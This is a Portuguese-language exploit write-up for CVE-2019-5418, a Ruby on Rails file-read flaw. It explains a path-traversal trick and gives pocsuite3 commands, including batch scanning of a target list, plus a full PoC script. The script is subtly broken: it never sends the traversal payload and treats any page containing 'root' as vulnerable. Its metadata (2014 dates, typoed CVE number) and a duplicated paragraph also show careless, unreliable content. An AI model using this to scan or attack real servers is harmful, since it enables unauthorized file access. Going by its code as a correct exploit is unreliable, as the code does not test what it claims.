
Ruby on Rails é um framework de aplicação web, um framework relativamente novo, construído sobre a linguagem Ruby. Esta vulnerabilidade se deve principalmente ao fato de o Ruby on Rails usar o parâmetro especificado "render file" para renderizar visualizações fora da aplicação. Podemos, ao modificar o pacote de requisição para acesso a um determinado controlador, usar “…/…/…/…/” para alcançar path traversal, e então usar “{{” para fechar o caminho de consulta do template, fazendo com que o arquivo alvo seja interpretado como um template externo.
Ruby on Rails é um framework de aplicações web, um framework relativamente novo construído sobre a linguagem Ruby. Essa vulnerabilidade se deve principalmente ao fato de o Ruby on Rails usar o parâmetro render file para renderizar views fora da aplicação. Podemos modificar o pacote de requisição ao acessar um controlador, usando “…/…/…/…/” para realizar path traversal, e então usar “{{” para fechar o caminho da consulta do template, fazendo com que o arquivo alvo seja interpretado como um template externo.
Capture o pacote com o Burp

Verificação individual correta da vulnerabilidade: pocsuite -r CVE-2019-5418.py -u url

Varredura em lote: pocsuite -r cve-2019-5118 -f taishi.txt

from collections import OrderedDict
from pocsuite3.api import (
Output,
POCBase,
POC_CATEGORY,
register_poc,
requests,
VUL_TYPE,
get_listener_ip,
get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
OptString,
OptDict,
OptIP,
OptPort,
OptBool,
OptInteger,
OptFloat,
OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD
# Acima estão apenas diversas importações de módulos. Alguns são usados, outros (em cinza) são módulos cujo conteúdo não foi utilizado.
class DemoPOC(POCBase):
vulID = "1571" # SSVID ID; se for submeter a vulnerabilidade junto com o PoC, escreva 0
version = "1" # Padrão é 1
author = "kailing0220" # Nome do autor do PoC
vulDate = "2014-10-16" # Data de divulgação da vulnerabilidade; se não souber, coloque a data de hoje
createDate = "2014-10-16" # Data de criação do PoC
updateDate = "2014-10-16" # Data de atualização do PoC; padrão igual à data de criação
references = ["http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html"] # Fonte do endereço da vulnerabilidade; não precisa escrever para 0-day
name = "CVE-2019-5418 PoC" # Nome do PoC
appPowerLink = "http://wiki.peiqi.tech/wiki/frame/Rails/Rails%20Accept%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2019-5418.html" # Página inicial do fornecedor da aplicação
appName = "CVE-2019-5418" # Nome da aplicação vulnerável
appVersion = "all" # Versão afetada
vulType = VUL_TYPE.UNAUTHORIZED_ACCESS # Tipo de vulnerabilidade; consulte a tabela de tipos de vulnerabilidade
category = POC_CATEGORY.EXPLOITS.WEBAPP
samples = [] # Exemplos de teste, ou seja, sites testados com sucesso usando o PoC
install_requires = [] # Dependências de módulos de terceiros; tente não usar, consulte as instruções se necessário
desc = """
Ruby on Rails é um framework de aplicações web, um framework relativamente novo construído sobre a linguagem Ruby. Essa vulnerabilidade se deve principalmente ao fato de o Ruby on Rails usar o parâmetro `render file` para renderizar views fora da aplicação. Podemos modificar o pacote de requisição ao acessar um controlador, usando “…/…/…/…/” para realizar path traversal, e então usar “{{” para fechar o caminho da consulta do template, fazendo com que o arquivo alvo seja interpretado como um template externo.
""" # Descrição resumida da vulnerabilidade
pocDesc = """
Descrição do uso do PoC
""" # Descrição do uso do PoC
# Definição de várias variáveis, descrição sobre o PoC
def _check(self):
# Código de verificação da vulnerabilidade
headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
result = []
# Um tratamento de exceção para evitar que o site esteja offline, a requisição falhe e o código gere erro
try:
url = self.url.strip() + "/robots" # self.url é o valor do parâmetro -u que você especificou
res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
# Verifica se a vulnerabilidade existe
if res.status_code == 200 and 'root' in res.text:
result.append(url)
except Exception as e:
print(e)
# Par complementar ao try...except; sempre executa o código interno, independentemente de erro
finally:
return result
def _verify(self):
# Modo de verificação, chama o código de verificação
result = {}
res = self._check() # res é a lista de resultados retornada
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['Info'] = self.name
result['VerifyInfo']['vul_url'] = self.url
result['VerifyInfo']['vul_detail'] = self.desc
return self.parse_verify(result)
def _attack(self):
# Modo de ataque, apenas chama o modo de verificação
return self._verify()
def parse_verify(self, result):
# Analisa e autentica, produz saída
output = Output(self)
# Determina se há vulnerabilidade com base no valor booleano de result
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
def other_fuc():
pass
def other_utils_func():
pass
# Registra a classe DemoPOC
register_poc(DemoPOC)